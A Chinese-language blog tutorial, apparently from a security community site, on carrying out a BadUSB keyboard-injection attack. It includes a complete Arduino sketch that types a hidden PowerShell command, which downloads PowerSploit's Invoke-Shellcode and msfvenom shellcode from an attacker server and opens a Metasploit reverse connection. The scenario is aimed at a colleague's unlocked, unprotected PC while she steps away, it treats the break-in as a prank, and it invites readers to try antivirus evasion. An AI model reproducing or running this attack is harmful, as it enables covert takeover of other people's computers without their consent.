实战背景
在之前的关于HID攻击介绍文章中,学习了解了HID攻击,是否感觉很有趣呢?是否也想在实际中进行操作一波呢?接下来,就跟着斗哥进行实践玩耍吧:通过Badusb高效的执行能力,再结合Powershell后门,趁着小伙伴离开之际,get到小伙伴电脑的权限…emmmm····
知识回顾
在早前讲到了Powershell的渗透利器PowerSploit,相信大家一定都记得(如果不记得可以去翻一下咱社区的历史)。在PowerSploit的诸多脚本中,此次将使用最简单的invoke-shellcode.ps1 脚本获取系统权限。因此,先回顾一下利用该脚本的流程:
1.先将PowerSploit的脚本上传至一台Web服务器上(目标主机能访问的到)。
2.利用kali系统的msfvenom生成一个对应的反弹木马,并将反弹木马放入同一台Web服务器上。
3.在kali上先开启metasploit并设置监听。
4.在目标主机的Powershell控制台上通过IEX下载调用invoke-shellcode.ps1以及反弹木马,实现连接。
相信到这一步大家肯定就会想问,之前不是讲到Powershell控制台要是被关闭了,那么也就无法连接,如果在目标主机中开启Powershell控制台,那不就会被目标主机的用户关闭,导致连接失败?好,接下来就开始展开一系列的准备工作。
准备工作
在攻击前准备工作需做足,首先,我们需要对目标主机展开一波了解(社会工程学)。 目标人物:小表姐(代号),离开时会忘记电脑锁屏(后期可利用)。 目标主机:Windows 10操作系统(默认中文输入法),装有固态硬盘(响应速度比较快),主机上无安防软件(由于电脑主人认为安全防护软件无用且“流氓”),电脑长期开机(可以不影响控制)。
工具准备
一枚改良的开发板(附图),Arduino IDE以及一台kali系统。
Kali系统准备
通过kali系统,开启apache2服务,并将PowerSploit脚本以及反弹木马code上传:
再打开metasploit,设置好监听后直接进行监听:
Badusb代码准备
在上篇文章中介绍到Badusb实际是模拟键盘鼠标输入并执行恶意代码,故而在编写Badusb代码前,我们可以尝试通过键盘先预实现我们的目标(走一遍只用键盘输入完成的流程,顺便复习一下invoke-shellcode.ps1脚本的使用):
1.通过windows键(左alt键的左边) R键联动,弹出运行框:
2.在运行框内输入cmd并按下Enter键,弹出cmd控制台:
3.在此为了让Powershell是隐藏启动的,故采用命令:
代码语言:javascript复制powershell.exe -windowstyle hidden "IEX(New-object net.webclient).downloadstring('http://192.168.11.35/CodeExecution/Invoke-Shellcode.ps1');IEX(New-object net.webclient).downloadstring('http://192.168.11.35/code');invoke-shellcode -shellcode $buf -force; "
4.输入后按下Enter键,发现cmd控制台自动关闭(通过任务管理器可以查看到有powershell进程在进行),发现metasploit已成功连接:
按这样的思路走完一遍后,转换成对应代码:
代码语言:javascript复制void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(1000);//延时(此处延时仅仅是为了方便连接开发板,如果是关机命令那么板子基本是一连接电脑就开始执行操作,来不及反应)
Keyboard.press(KEY_LEFT_GUI);//按下win键
delay(500); //延时500ms,以免其它因素影响,导致按键顺序错乱
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松开win键
Keyboard.release('r');//松开r键
delay(1500); //延时1500ms,弹出运行框的速度取决于电脑运行速度,因此信息搜集时需要注意
Keyboard.press(KEY_LEFT_SHIFT);//按下左shift键,因为windows 10 系统默认是中文输入法,按一下shift键后切换为英文
delay(500);
Keyboard.release(KEY_LEFT_SHIFT);//松开左shift键
delay(500);
Keyboard.println("cmd");
delay(1000);
Keyboard.press(KEY_LEFT_SHIFT);//原因同上
delay(500);
Keyboard.release(KEY_LEFT_SHIFT);
delay(500);
Keyboard.println("powershell.exe -windowstyle hidden "IEX(New-object net.webclient).downloadstring('http://192.168.11.35/CodeExecution/Invoke-Shellcode.ps1');IEX(New-object net.webclient).downloadstring('http://192.168.11.35/code');invoke-shellcode -shellcode $buf -force;" ");
delay(1000);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{}
在代码中给出了一些注意点,都是在信息搜集时搜集到的,所以Badusb能否成功,也看我们在信息搜集时是否详细。
Badusb开发板准备
代码准备完毕后,便是将代码写入开发板中,通过Arduino IDE将代码写入(具体方法就不说了,在上篇文章中有讲到,不懂的小伙伴可以参考上一篇文章)。
展开攻击
现在,万事俱备,只欠东风了,开始等待机会,正巧小表姐要去上厕所了,并且走时忘记锁屏,斗哥的机会来了,赶紧将准备好的开发板连接到小表姐的主机中:
当代码执行后,过了一小会儿,可以发现我的kali上的已经get到了:
Loading…10s不到便完成了一系列猛如虎的操作,接下来,就可以开始跟小表姐“开个小玩笑”啦。
小结
此实战中,还有一点并未提及,便是Powershell的命令在存在安防软件的主机中若是被执行,则会被拦截。网上也有一些免杀的方法,就留给大家去尝试了。
Badusb此次实战到此就结束了,这里只是给大家一个实际利用的思路,为大家开启一个探索之门。当然,并不一定只可以结合Powershell才可以实现,还可以结合其他的可运行脚本,小编认为只要是我们可以用键盘进行的任何操作,那么Badusb均可以进行,因此还可以用它再进行更多逆天操作,这里就不一一举例了。
此外,给大家分享一个HID代码生成工具:setoolkit,上面集成了一些好用的HID攻击代码,仅供大家测试娱乐使用。